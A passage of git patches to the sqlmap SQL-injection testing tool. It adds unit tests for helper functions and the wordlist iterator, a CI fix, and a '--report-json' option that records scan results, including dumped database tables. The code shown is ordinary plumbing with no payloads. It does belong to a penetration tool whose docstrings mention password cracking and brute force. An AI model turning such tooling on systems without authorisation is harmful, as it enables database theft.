100644 index 000000000..b710169bc --- /dev/null +++ b/tests/test_utils.py @@ -0,0 +1,117 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Core utility helpers: constant-time compare, numeric checks, safe formatting, +list/value normalization, randomness generators. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.common import (safeCompareStrings, isDigit, isNumber, safeStringFormat, + filterNone, flattenValue, isListLike, unArrayizeValue, + arrayizeValue, randomStr, randomInt) + + +class TestSafeCompareStrings(unittest.TestCase): + def test_known(self): + self.assertTrue(safeCompareStrings("abc", "abc")) + self.assertFalse(safeCompareStrings("abc", "abd")) + self.assertFalse(safeCompareStrings("test", None)) + self.assertTrue(safeCompareStrings(None, None)) + self.assertFalse(safeCompareStrings("a", "ab")) # different length + + def test_property(self): + for s in ["", "a", "secret", "p@ss w0rd", "x" * 100]: + self.assertTrue(safeCompareStrings(s, s)) + self.assertFalse(safeCompareStrings(s, s + "x")) + + +class TestNumericChecks(unittest.TestCase): + def test_isDigit(self): + for v, exp in [("123", True), ("0", True), ("12a", False), ("", False), ("-1", False)]: + self.assertEqual(bool(isDigit(v)), exp, msg="isDigit(%r)" % v) + + def test_isNumber(self): + for v, exp in [("123", True), ("1.5", True), ("1e3", True), ("abc", False), ("", False)]: + self.assertEqual(bool(isNumber(v)), exp, msg="isNumber(%r)" % v) + + +class TestSafeStringFormat(unittest.TestCase): + def test_basic(self): + self.assertEqual(safeStringFormat("%s-%d", ("a", 5)), "a-5") + self.assertEqual(safeStringFormat("%s/%s", ("x", "y")), "x/y") + + def test_survives_percent_in_value(self): + # the WHOLE point of safeStringFormat over plain `%`: a '%' inside an argument (common in + # payloads/URL-encoded values) must not blow up or be misread as a format spec. + # Plain "x=%s" % ("100%done",) would raise on re-evaluation; safeStringFormat must not. + self.assertEqual(safeStringFormat("x=%s", ("100%done",)), "x=100%done") + + +class TestListValueHelpers(unittest.TestCase): + def test_filterNone(self): + self.assertEqual(filterNone([1, None, 2, 0, "", None]), [1, 2, 0]) + self.assertEqual(filterNone([]), []) + self.assertEqual(filterNone([None, None]), []) + + def test_flattenValue(self): + self.assertEqual(list(flattenValue([[1, 2], [3, [4]]])), [1, 2, 3, 4]) + self.assertEqual(list(flattenValue([])), []) + self.assertEqual(list(flattenValue([1])), [1]) + + def test_isListLike(self): + from lib.core.datatype import OrderedSet + from lib.core.bigarray import BigArray + # isListLike is sqlmap-specific: it must recognize sqlmap's own list-like containers + # (OrderedSet, BigArray), not just builtin list/tuple - that's why it's not isinstance(list) + self.assertTrue(isListLike([1])) + self.assertTrue(isListLike((1,))) + self.assertTrue(isListLike(OrderedSet([1, 2]))) + self.assertTrue(isListLike(BigArray([1]))) + # and must reject str (the classic trap) and dict + self.assertFalse(isListLike("string")) + self.assertFalse(isListLike({"a": 1})) + + def test_arrayize_roundtrip(self): + self.assertEqual(unArrayizeValue([5]), 5) + self.assertIsNone(unArrayizeValue([])) + self.assertEqual(unArrayizeValue(7), 7) + self.assertEqual(arrayizeValue(5), [5]) + self.assertEqual(arrayizeValue([5]), [5]) + + +class TestRandomGenerators(unittest.TestCase): + def test_randomStr_length_and_alphabet(self): + for n in (1, 4, 16, 50): + self.assertEqual(len(randomStr(n)), n) + for _ in range(200): + self.assertTrue(all("a" <= c <= "z" for c in randomStr(20, lowercase=True))) + alpha = list("ABC") + for _ in range(200): + self.assertTrue(all(c in alpha for c in randomStr(20, alphabet=alpha))) + + def test_randomStr_is_actually_random(self): + # guard against a hardcoded/constant return: 20-char strings must (essentially) never collide + samples = set(randomStr(20) for _ in range(100)) + self.assertEqual(len(samples), 100, msg="randomStr produced collisions - not random?") + + def test_randomInt_digits(self): + for n in (1, 3, 6): + lo, hi = 10 ** (n - 1), 10 ** n + for _ in range(200): + v = randomInt(n) + self.assertEqual(len(str(v)), n) # exactly n digits + self.assertTrue(lo <= v < hi, msg="randomInt(%d)=%d out of [%d,%d)" % (n, v, lo, hi)) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_wordlist.py b/tests/test_wordlist.py new file mode 100644 index 000000000..9b6d842a4 --- /dev/null +++ b/tests/test_wordlist.py @@ -0,0 +1,96 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Wordlist iterator (lib/core/wordlist.py). + +Backs dictionary attacks (--common-tables, password cracking, brute force): a +lazy iterator that streams words across one or more files (and zip archives) +without loading them into RAM. Tested for ordering, multi-file chaining, +rewind, and end-of-stream behavior over real temp files. +""" + +import os +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.wordlist import Wordlist + + +def _mkfile(lines): + fd, path = tempfile.mkstemp() + os.write(fd, ("\n".join(lines) + "\n").encode("utf-8")) + os.close(fd) + return path + + +def _w(s): + # Wordlist yields native str on py2 but bytes on py3 (words are fed straight into HTTP payloads) + return s.encode("utf-8") if sys.version_info[0] >= 3 else s + + +def _drain(w): + out = [] + try: + while True: + out.append(next(w)) + except StopIteration: + pass + return out + + +class TestWordlist(unittest.TestCase): + def setUp(self): + self.paths = [] + self.wordlists = [] + + def tearDown(self): + for w in self.wordlists: # close open file handles (else ResourceWarning on py3) + try: + w.closeFP() + except Exception: + pass + for p in self.paths: + if os.path.exists(p): + os.remove(p) + + def _mk(self, lines): + p = _mkfile(lines) + self.paths.append(p) + return p + + def _wl(self, files): + w = Wordlist(files) + self.wordlists.append(w) + return w + + def test_single_file_order(self): + w = self._wl([self._mk(["alpha", "beta", "gamma"])]) + self.assertEqual(_drain(w), [_w("alpha"), _w("beta"), _w("gamma")]) + + def test_multiple_files_chained(self): + w = self._wl([self._mk(["a", "b"]), self._mk(["c", "d"])]) + self.assertEqual(_drain(w), [_w("a"), _w("b"), _w("c"), _w("d")]) + + def test_rewind_restarts(self): + w = self._wl([self._mk(["one", "two"])]) + self.assertEqual(next(w), _w("one")) + self.assertEqual(next(w), _w("two")) + w.rewind() + self.assertEqual(next(w), _w("one")) + + def test_end_raises_stopiteration(self): + w = self._wl([self._mk(["only"])]) + self.assertEqual(next(w), _w("only")) + self.assertRaises(StopIteration, lambda: next(w)) + + +if __name__ == "__main__": + unittest.main(verbosity=2) From 948d01d57a9ce37006588c39c2db466406317aa1 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 15 Jun 2026 09:59:01 +0200 Subject: [PATCH 012/165] Fixing CI/CD failing --- .github/workflows/tests.yml | 5 ++++- data/txt/sha256sums.txt | 2 +- lib/core/settings.py | 2 +- 3 files changed, 6 insertions(+), 3 deletions(-) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 358f7ba7e..58aeb75b4 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -41,7 +41,10 @@ jobs: run: python -c "import sqlmap; import sqlmapapi" - name: Unit tests - run: python -m unittest discover -s tests -p "test_*.py" + # -B: do not write .pyc files. On Python 2 / PyPy a cached .pyc makes a module's __file__ + # point at the .pyc, which would make the later --smoke getFileType(__file__) doctest see + # 'binary' instead of 'text'. Keeping this step byte-compile-free leaves --smoke clean. + run: python -B -m unittest discover -s tests -p "test_*.py" - name: Smoke test run: python sqlmap.py --smoke diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 25094e0d6..03b0a1934 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -a910686c6eba592ba3f6fc5cbb8bed1bd6c330b0165c7c5dc927a71c5ae8be88 lib/core/settings.py +8eb10b15440aaa6ddc592e1b29199e9fa575df6b46335fcf7b7374c5f8f68480 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 6c7c64b90..5fa1a8f15 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.106" +VERSION = "1.10.6.107" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 17e94c34091b4985fdfe4ad2a08cc963e4a1f7df Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 15 Jun 2026 15:35:33 +0200 Subject: [PATCH 013/165] Adding --report-json option --- data/txt/sha256sums.txt | 23 +-- lib/controller/controller.py | 6 + lib/core/dump.py | 32 ++++ lib/core/optiondict.py | 1 + lib/core/settings.py | 13 +- lib/parse/cmdline.py | 3 + lib/techniques/blind/inference.py | 5 +- lib/techniques/error/use.py | 4 +- lib/techniques/union/use.py | 4 +- lib/utils/api.py | 242 +++++++++++++++++++++++++----- sqlmap.py | 19 +++ sqlmapapi.yaml | 80 ++++++++-- tests/test_report.py | 218 +++++++++++++++++++++++++++ 13 files changed, 581 insertions(+), 69 deletions(-) create mode 100644 tests/test_report.py diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 03b0a1934..b95a83ed2 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -162,7 +162,7 @@ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/ 9e5e4d3d9acb767412259895a3ee75e1a5f42d0b9923f17605d771db384a6f60 extra/vulnserver/vulnserver.py b8411d1035bb49b073476404e61e1be7f4c61e205057730e2f7880beadcd5f60 lib/controller/action.py 6da812281a69c8b7a5181c2f76374dc695e4727b2936042651bacbeda4e6bcc9 lib/controller/checks.py -c1881685bef8504ded32c51abed00ab51849008c84b74e8a66117e5f5041b3df lib/controller/controller.py +85146a0565467952a35cdd234031d8de01ef8f354c8676f6484b0bfb911c5347 lib/controller/controller.py d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller/handler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py b36b085ff1b5797e375c1e2ca3b12c7ab4204f48acd1a1efb075cff8302d9750 lib/core/agent.py @@ -175,12 +175,12 @@ c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data. 70fb2528e580b22564899595b0dff6b1bc257c6a99d2022ce3996a3d04e68e4e lib/core/decorators.py 147823c37596bd6a56d677697781f34b8d1d1671d5a2518fbc9468d623c6d07d lib/core/defaults.py 2f44a1bfe6f18aafe64147b99e69aa93cf438c0e7befe59f4e2aee9065c8b7b6 lib/core/dicts.py -8aee07fba24082ee6355a29d01842bc3657194148a7f9062079b5f0a85ec53e3 lib/core/dump.py +e4b23512625bc377c0e0924d8113c595452320d8c66014828da5d8258a77f55a lib/core/dump.py 23e33f0b457e2a7114c9171ba9b42e1751b71ee3f384bba7fad39e4490adb803 lib/core/enums.py 5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 lib/core/exception.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py -67ea32c993cbf23cdbd5170360c020ca33363b7c516ff3f8da4124ef7cb0254d lib/core/optiondict.py +885042ed021e60f1739e2a849e3405cc3a4c2a67a5a169a30399d1c53446460f lib/core/optiondict.py 3ff871fe8391952c3ec3bb528ba592a13926c80ca0b68fd322a317f69a651ef7 lib/core/option.py ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py @@ -188,7 +188,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -8eb10b15440aaa6ddc592e1b29199e9fa575df6b46335fcf7b7374c5f8f68480 lib/core/settings.py +1e2a5277293de9d3d1e65b401013baf1c4033162e580f6891ca6a2686e666894 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py @@ -199,7 +199,7 @@ b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unesc 2400e465fa4d13e4c32795910878c71ff212e4361b46428d57ce43983f5e997c lib/core/wordlist.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/__init__.py 54bfd31ebded3ffa5848df1c644f196eb704116517c7a3d860b5d081e984d821 lib/parse/banner.py -4c56ad26ffb893d37813167de172b6c95c120588bfdc899f102977a2997b9bb9 lib/parse/cmdline.py +7bc8612fbd7ba390ab19f908c370c126ae66afa200bc7975800599ecbe029f0c lib/parse/cmdline.py 02d82e4069bd98c52755417f8b8e306d79945672656ac24f1a45e7a6eff4b158 lib/parse/configfile.py c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/handler.py 5c9a9caee948843d5537745640cc7b98d70a0412cc0949f59d4ebe8b2907c06c lib/parse/headers.py @@ -230,18 +230,18 @@ f522436fbd14bdab090a1d305fcac0361800cb8e36c8cbcb47933298376a71e0 lib/takeover/r 0787f78e6bd9bb21d4267c95c4c99806711bb57c5518485c2e25f10fcf9c41fc lib/takeover/udf.py 23d73af417604dab460b74cdc230896153f018a6c00d144019491053640a172f lib/takeover/web.py 8cc1e226d4150fe8aa1a056e5d32d858ed6444d3d4e2af7fb4bc08f0bbe9d527 lib/takeover/xp_cmdshell.py -7b62bbb4d94f1271380a44142b407dc9eeed1d8b0319cdad57493dc1a12caff8 lib/techniques/blind/inference.py +09c3759b59bc111712f75b0b1762d195c0da0e0741dd76379546c429e8ed4457 lib/techniques/blind/inference.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/blind/__init__.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/dns/__init__.py 3df9839fb92a81d46b6194d7adacb43f391efb78b071783c132e8d596ecbfaf1 lib/techniques/dns/test.py 2934514a60cbcd48675053a73f785b4c7bfe606b51c34ae81a86818362ec4672 lib/techniques/dns/use.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/error/__init__.py -f552b6140d4069be6a44792a08f295da8adabc1c4bb6a5e100f222f87144ca9d lib/techniques/error/use.py +ee63b978154b0cb9a385fe51926ef6dc6f425b07f62b0d17208e82b4ac020f5c lib/techniques/error/use.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/__init__.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/union/__init__.py 30cae858e2a5a75b40854399f65ad074e6bb808d56d5ee66b94d4002dc6e101b lib/techniques/union/test.py -a8a795f29ec6fd66482926f04b054ed492a033982c3b7837c5d2ea32368acec0 lib/techniques/union/use.py -8720a744d46471fe46f5a67e16b2d4147339c6685fbf0fdf50f1a40e9a75c23a lib/utils/api.py +5b49f5bca4e35362fa7d83896e0769fdb01ad152f30059aafd8ce0f093400a3f lib/techniques/union/use.py +aeefb42ea0c68f72744bc1bfd7194ec1bc06480d8a7e23f4b8d3d23fbba2b014 lib/utils/api.py 442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2 lib/utils/brute.py da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py a94958be0ec3e9d28d8171813a6a90655a9ad7e6aa33c661e8d8ebbfcf208dbb lib/utils/deps.py @@ -490,9 +490,9 @@ cedf45d33461bd7e5400d06611a63c8a4ffae1a4510030c5696b9d46ed6a9883 plugins/generi 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 plugins/__init__.py 5d72f0af46ff3c9e3fe80300e83cb78749132278e8db88915764a94d7130a04c README.md 46517f1444c202710e388873960130850ed092e17bd6f4dd5f2fedea3dbb8ffc sqlmapapi.py -e0607378f46f7664349552c628f25c4689569c788fd2364eef3075dd2cce127b sqlmapapi.yaml +f09d1b06901e7e02d0dbf4de607f6a4a9889acc322ae9353b98ea9101fb9548a sqlmapapi.yaml 627d90f1194335b800cbc9cc78db6697cf9e02e193a83598e0d4d0abb55b63b8 sqlmap.conf -65159b82795604069a2d14ccbd1f66e888a26b05db0401a1ddadb40c665c93dc sqlmap.py +d5128ba488b85080a18df85cc08b58f0baeac59494eb5ef43b9e34d66538f091 sqlmap.py eb37a88357522fd7ad00d90cdc5da6b57442b4fec49366aadb2944c4fbf8b804 tamper/0eunion.py a9785a4c111d6fee2e6d26466ba5efb3b229c00520b26e8024b041553b53efba tamper/apostrophemask.py cf26bc8006519bd25ce06d347f72770cd75b61575cf65e5812274e8ab9392eb4 tamper/apostrophenullencode.py @@ -588,6 +588,7 @@ cde0bea1263ae857561f91ed2bd515e972b716743f017d31b1718a8546c72759 tests/test_pag 4bac34af2abddce003756d6776e89b2fda220bb7603ef3761f4f37ee29f9c369 tests/test_payload_marking.py 6bfc8201724078bd9d6d559916ef73c9ff97e19b0f2948f37e588a49b027795f tests/test_payloads_structure.py 5c95e7863190e440234f231864fb1219c35207132762858cc95181c57086bafc tests/test_replication.py +48bbe8403fbc52d16998b1af4fe2180d3637add0b14cd16dd71690113e96664f tests/test_report.py cec98d72992c0799229a780fa7f0d7f3fb01ec2d708187ce0e4a05c8612f291b tests/test_safe2bin.py a1c6cda1e5b483f61e6a4f8ddd0b06a15ddaa3fd2119bfb9dbd9cc970d7a751d tests/test_settings_regex.py d3d991331096e16e5019de3d652e9fff92c09bd9f97c50b1c2c3ceb0ed49b17e tests/test_sqlparse.py diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 69d515f12..fa1447876 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -181,6 +181,12 @@ def _showInjections(): conf.dumper.string("", {"url": conf.url, "query": conf.parameters.get(PLACE.GET), "data": conf.parameters.get(PLACE.POST)}, content_type=CONTENT_TYPE.TARGET) conf.dumper.string("", kb.injections, content_type=CONTENT_TYPE.TECHNIQUES) else: + # --report-json: capture the same TARGET/TECHNIQUES structures the API emits, without + # printing them (the human-readable injection points are rendered just below) + if conf.reportJson: + conf.dumper._reportData({"url": conf.url, "query": conf.parameters.get(PLACE.GET), "data": conf.parameters.get(PLACE.POST)}, CONTENT_TYPE.TARGET) + conf.dumper._reportData(kb.injections, CONTENT_TYPE.TECHNIQUES) + data = "".join(set(_formatInjection(_) for _ in kb.injections)).rstrip("\n") conf.dumper.string(header, data) diff --git a/lib/core/dump.py b/lib/core/dump.py index d55291e51..9d0eb3857 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -14,6 +14,7 @@ import threading from lib.core.common import Backend from lib.core.common import checkFile +from lib.core.common import clearColors from lib.core.common import dataToDumpFile from lib.core.common import dataToStdout from lib.core.common import filterNone @@ -30,6 +31,7 @@ from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.compat import xrange from lib.core.convert import getBytes from lib.core.convert import getConsoleLength +from lib.core.convert import stdoutEncode from lib.core.convert import getText from lib.core.convert import getUnicode from lib.core.convert import htmlEscape @@ -96,6 +98,19 @@ class Dump(object): kb.dataOutputFlag = True + def _reportData(self, data, content_type): + """ + --report-json: capture a structured result exactly as the REST API would store it (the raw + value + COMPLETE status), independent of console/file rendering. No-op unless a report + collector is active - which is only ever the case for a CLI --report-json run, never under + --api - so this never double-captures alongside StdDbOut. A None content_type is resolved + via the kb.partRun fallback (e.g. the fingerprint line), mirroring the API exactly. + """ + + if conf.get("reportCollector") is not None: + from lib.utils.api import _storeData, REPORT_TASKID + _storeData(conf.reportCollector, REPORT_TASKID, stdoutEncode(clearColors(data)), CONTENT_STATUS.COMPLETE, content_type) + def flush(self): if self._outputFP: try: @@ -116,9 +131,12 @@ class Dump(object): raise SqlmapGenericException(errMsg) def singleString(self, data, content_type=None): + self._reportData(data, content_type) self._write(data, content_type=content_type) def string(self, header, data, content_type=None, sort=True): + self._reportData(data, content_type) + if conf.api: self._write(data, content_type=content_type) @@ -153,6 +171,8 @@ class Dump(object): except: pass + self._reportData(elements, content_type) + if conf.api: self._write(elements, content_type=content_type) @@ -204,6 +224,8 @@ class Dump(object): users = [_ for _ in userSettings.keys() if _ is not None] users.sort(key=lambda _: _.lower() if hasattr(_, "lower") else _) + self._reportData(userSettings, content_type) + if conf.api: self._write(userSettings, content_type=content_type) @@ -237,6 +259,8 @@ class Dump(object): def dbTables(self, dbTables): if isinstance(dbTables, dict) and len(dbTables) > 0: + self._reportData(dbTables, CONTENT_TYPE.TABLES) + if conf.api: self._write(dbTables, content_type=CONTENT_TYPE.TABLES) @@ -279,6 +303,8 @@ class Dump(object): def dbTableColumns(self, tableColumns, content_type=None): if isinstance(tableColumns, dict) and len(tableColumns) > 0: + self._reportData(tableColumns, content_type) + if conf.api: self._write(tableColumns, content_type=content_type) @@ -352,6 +378,8 @@ class Dump(object): def dbTablesCount(self, dbTables): if isinstance(dbTables, dict) and len(dbTables) > 0: + self._reportData(dbTables, CONTENT_TYPE.COUNT) + if conf.api: self._write(dbTables, content_type=CONTENT_TYPE.COUNT) @@ -413,6 +441,8 @@ class Dump(object): safeDb = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(db)) safeTable = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(table)) + self._reportData(tableValues, CONTENT_TYPE.DUMP_TABLE) + if conf.api: self._write(tableValues, content_type=CONTENT_TYPE.DUMP_TABLE) @@ -679,6 +709,8 @@ class Dump(object): logger.warning(msg) def dbColumns(self, dbColumnsDict, colConsider, dbs): + self._reportData(dbColumnsDict, CONTENT_TYPE.COLUMNS) + if conf.api: self._write(dbColumnsDict, content_type=CONTENT_TYPE.COLUMNS) diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 44b4ca8f5..d9daa2d36 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -235,6 +235,7 @@ optDict = { "postprocess": "string", "preprocess": "string", "repair": "boolean", + "reportJson": "string", "saveConfig": "string", "scope": "string", "skipHeuristics": "boolean", diff --git a/lib/core/settings.py b/lib/core/settings.py index 5fa1a8f15..c9e7ef6e3 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.107" +VERSION = "1.10.6.108" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -843,6 +843,15 @@ LIMITED_ROWS_TEST_NUMBER = 15 # Default adapter to use for bottle server RESTAPI_DEFAULT_ADAPTER = "wsgiref" +# REST API / scan-data contract version (semantic versioning), INDEPENDENT of the sqlmap version. +# Bump MAJOR for breaking changes (removed/renamed field, changed type, restructured response), +# MINOR for additive backward-compatible changes (new field/endpoint), PATCH for non-contract fixes. +# Exposed at GET /version (as "api_version"), in the --report-json "meta", and as the OpenAPI +# info.version (keep sqlmapapi.yaml in sync). Maintained by hand when the contract changes. +# 2.0.0: first explicitly-versioned contract; a MAJOR break from the old implicit shape +# (TECHNIQUES is now a named list, DUMP_TABLE restructured, internal fields dropped, type_name added). +RESTAPI_VERSION = "2.0.0" + # Default REST API server listen address RESTAPI_DEFAULT_ADDRESS = "127.0.0.1" @@ -850,7 +859,7 @@ RESTAPI_DEFAULT_ADDRESS = "127.0.0.1" RESTAPI_DEFAULT_PORT = 8775 # Unsupported options by REST API server -RESTAPI_UNSUPPORTED_OPTIONS = ("sqlShell", "wizard", "evalCode", "alert") +RESTAPI_UNSUPPORTED_OPTIONS = ("sqlShell", "wizard", "evalCode", "alert", "reportJson") # Use "Supplementary Private Use Area-A" INVALID_UNICODE_PRIVATE_AREA = False diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index cf2003806..8198ff8ed 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -727,6 +727,9 @@ def cmdLineParser(argv=None): general.add_argument("--repair", dest="repair", action="store_true", help="Redump entries having unknown character marker (%s)" % INFERENCE_UNKNOWN_CHAR) + general.add_argument("--report-json", dest="reportJson", + help="Store run results to a JSON file") + general.add_argument("--save", dest="saveConfig", help="Save options to a configuration INI file") diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index 1758d9808..faf0a9383 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -127,10 +127,11 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None expression = match.group(2).strip() try: - # Set kb.partRun in case "common prediction" feature (a.k.a. "good samaritan") is used or the engine is called from the API + # Set kb.partRun in case "common prediction" feature (a.k.a. "good samaritan") is used, or the + # engine is called from the API, or a JSON report is being collected (so enumeration output is tagged) if conf.predictOutput: kb.partRun = getPartRun() - elif conf.api: + elif conf.api or conf.reportJson: kb.partRun = getPartRun(alias=False) else: kb.partRun = None diff --git a/lib/techniques/error/use.py b/lib/techniques/error/use.py index a9ae8bac0..2eb38c1c4 100644 --- a/lib/techniques/error/use.py +++ b/lib/techniques/error/use.py @@ -314,8 +314,8 @@ def errorUse(expression, dump=False): _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression) - # Set kb.partRun in case the engine is called from the API - kb.partRun = getPartRun(alias=False) if conf.api else None + # Set kb.partRun in case the engine is called from the API or a JSON report is being collected + kb.partRun = getPartRun(alias=False) if (conf.api or conf.reportJson) else None # We have to check if the SQL query might return multiple entries # and in such case forge the SQL limiting the query output one diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index 3802b4635..59ce5de67 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -258,8 +258,8 @@ def unionUse(expression, unpack=True, dump=False): _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(origExpr) - # Set kb.partRun in case the engine is called from the API - kb.partRun = getPartRun(alias=False) if conf.api else None + # Set kb.partRun in case the engine is called from the API or a JSON report is being collected + kb.partRun = getPartRun(alias=False) if (conf.api or conf.reportJson) else None if expressionFieldsList and len(expressionFieldsList) > 1 and "ORDER BY" in expression.upper(): # Removed ORDER BY clause because UNION does not play well with it diff --git a/lib/utils/api.py b/lib/utils/api.py index 4a4559635..90d0c0b9e 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -44,7 +44,9 @@ from lib.core.defaults import _defaults from lib.core.dicts import PART_RUN_CONTENT_TYPES from lib.core.enums import AUTOCOMPLETE_TYPE from lib.core.enums import CONTENT_STATUS +from lib.core.enums import CONTENT_TYPE from lib.core.enums import MKSTEMP_PREFIX +from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapConnectionException from lib.core.log import LOGGER_HANDLER from lib.core.optiondict import optDict @@ -53,6 +55,7 @@ from lib.core.settings import RESTAPI_DEFAULT_ADAPTER from lib.core.settings import RESTAPI_DEFAULT_ADDRESS from lib.core.settings import RESTAPI_DEFAULT_PORT from lib.core.settings import RESTAPI_UNSUPPORTED_OPTIONS +from lib.core.settings import RESTAPI_VERSION from lib.core.settings import VERSION_STRING from lib.core.shell import autoCompletion from lib.core.subprocessng import Popen @@ -80,6 +83,195 @@ class DataStore(object): RESTAPI_READONLY_OPTIONS = ("api", "taskid", "database") +# Reverse map CONTENT_TYPE int -> name (e.g. 2 -> "DBMS_FINGERPRINT"), for machine-readable reports +CONTENT_TYPE_NAMES = dict((v, k) for k, v in vars(CONTENT_TYPE).items() if not k.startswith("_") and isinstance(v, int)) + +# Task id used for the single-target CLI collector backing --report-json +REPORT_TASKID = 0 + +def _storeData(cursor, 